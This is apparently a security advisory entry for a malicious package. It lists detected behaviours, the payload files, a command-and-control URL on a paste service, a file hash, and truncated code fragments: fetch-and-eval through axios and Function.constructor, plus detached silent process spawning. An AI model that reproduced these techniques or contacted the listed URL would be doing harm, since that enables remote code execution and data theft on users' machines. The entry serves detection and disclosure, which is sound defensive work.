GCVE-110-OSM-2026-5958

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY dist/index.cjs (main: dist/index.cjs) DESTINATION - custom-c2: https://www.jsonkeeper.com/b/DDC6J (primary, plaintext) in dist/client/dev/reactopt.js EXFIL - Fetch and Eval/Exec in dist/client/dev/reactopt.js: "axios.get(URI, { headers: { [SEC]: VAL } })).data.Cookie; const handler = new Fu..." - Payload Download from Paste Service in dist/client/dev/reactopt.js: "jsonkeeper.com" - System Information Collection in dist/chunk-LKBIOQSP.js: "process.platform" - Network Request in dist/client/dev/reactopt.js: "axios.get(" - System Information Collection in dist/index.cjs: "process.platform" ADDITIONAL FINDINGS - Stealth Background Process Spawning in dist/index.js: "spawn("node", [reactOp, JSON.stringify(userOpt)], { detached: true, stdio: "igno..." - Dynamic Code Execution in dist/client/dev/reactopt.js: "Function.constructor(" - Shell Command Execution in dist/index.js: "require('child_process')" - Silent Process Execution in dist/index.js: "stdio: "ignore"" - Detached Child Process Payload in dist/index.js: "spawn("node", [reactOp, JSON.stringify(userOpt)], { detached: true" - Brand New Package PAYLOAD FILES dist/client/dev/reactopt.js (+ dist/index.js) INDICATORS (IOCs) - urls: https://www.jsonkeeper.com/b/DDC6J - payloadFileHash: b9e59f5fc334b3cad2d2b3e04f7288e2457f0a5f49d9f0c9d3e2bc43a6ff2635